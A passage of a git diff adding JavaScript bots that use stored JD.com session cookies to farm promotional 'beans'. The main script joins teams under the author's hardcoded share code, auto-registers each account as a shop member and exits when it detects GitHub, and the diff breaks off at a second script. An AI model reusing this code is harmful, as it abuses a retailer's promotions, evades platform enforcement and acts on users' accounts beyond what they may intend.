'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + authorCodeList = [ + '9494874400db48eb8669b03db3b8fca4', + ] + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.activityId = 'f58043aea7184f6a8df07237e3271fc6' + $.activityShopId = '1000014486' + $.activityUrl = `https://lzkjdz-isv.isvjcloud.com/pool/captain/${$.authorNum}?activityId=${$.activityId}&signUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` + await anjia(); + await $.wait(4000) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function anjia() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + await task('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + await $.wait(2000) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log('去助力 -> ' + $.authorCode); + await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await $.wait(2000) + await task('activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&signUuid=${encodeURIComponent($.authorCode)}`) + if ($.activityContent) { + if ($.activityContent.canJoin) { + $.log("加入队伍成功,请等待队长瓜分京豆") + await $.wait(2000) + await task('saveCandidate', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&signUuid=${encodeURIComponent($.authorCode)}&pinImg=${encodeURIComponent(`https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg`)}`) + $.log("加入会员") + if (!$.activityContent.openCard) { + $.log("加入会员") + await $.wait(2000) + await getShopOpenCardInfo({ "venderId": "1000014486", "channel": 401 }, 1000014486) + await bindWithVender({ "venderId": "1000014486", "shopId": "1000014486", "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": 3282318, "channel": 401 }, 100000000000085) + } + await $.wait(2000) + await task('activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&signUuid=${encodeURIComponent($.authorCode)}`, 0, 1) + await $.wait(2000) + if ($.index === 1) { + if ($.activityContent.canCreate) { + $.log("创建队伍") + await $.wait(2000) + await task('saveCaptain', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent(`https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg`)}`) + } + } + } else { + if ($.index === 1) { + $.log("创建队伍") + if ($.activityContent.canCreate) { + await $.wait(2000) + await task('saveCaptain', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent(`https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg`)}`) + } else { + $.log("你已经是队长了") + ownCode = $.activityContent.signUuid + console.log(ownCode) + } + } else { + $.log("无法加入队伍") + } + await $.wait(2000) + } + } + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +function task(function_id, body, isCommon = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'saveCaptain': + if (data.data.signUuid) { + $.log("创建队伍成功") + if($.index === 1){ + ownCode = data.data.signUuid; + } + } + break; + case 'dz/common/getSimpleActInfoVo': + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + break; + case 'wxActionCommon/getUserInfo': + $.nickname = data.data.nickname + $.pinImg = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + break; + case 'activityContent': + // console.log(data.data) + $.activityContent = data.data; + if($.index === 1){ + ownCode = data.data.signUuid; + } + // $.actorUuid = data.data.signUuid; + for (const vo of data.data.successRetList) { + if (!vo.sendStatus && vo.canSend) { + // console.log(vo) + await task('updateCaptain', `uuid=${vo.memberList[0].captainId}`) + await $.wait(3000) + } + } + break; + case 'updateCaptain': + console.log(data.data) + + break + default: + // $.log(JSON.stringify(data)) + break; + } + } else { + $.log(JSON.stringify(data)) + } + } else { + $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=7014&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=7014&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo && res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + if (vo.prizeType === 4) { + $.log(`==>获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzkjdz-isv.isvjcloud.com/${function_id}` : `https://lzkjdz-isv.isvjcloud.com/pool/${function_id}`, + headers: { + Host: 'lzkjdz-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzkjdz-isv.isvjcloud.comm', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} + +function getMyPing() { + let opt = { + url: `https://lzkjdz-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzkjdz-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzkjdz-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzdz1-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=72124265217d48b7955781024d65bbc4&client=apple&clientVersion=9.4.0&st=1621796702000&sv=120&sign=14f7faa31356c74e9f4289972db4b988` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_appliances.js b/backUp/jd_appliances.js new file mode 100644 index 0000000..cbd9310 --- /dev/null +++ b/backUp/jd_appliances.js @@ -0,0 +1,210 @@ +/** + * 执行一次就可以了,最多10个豆子 +cron 54 5 9-15 8 * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_appliances.js + * 不要问我是哪个活动,问了我也不告诉你,我也找不到入口了 + */ +const $ = new Env('家电'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && 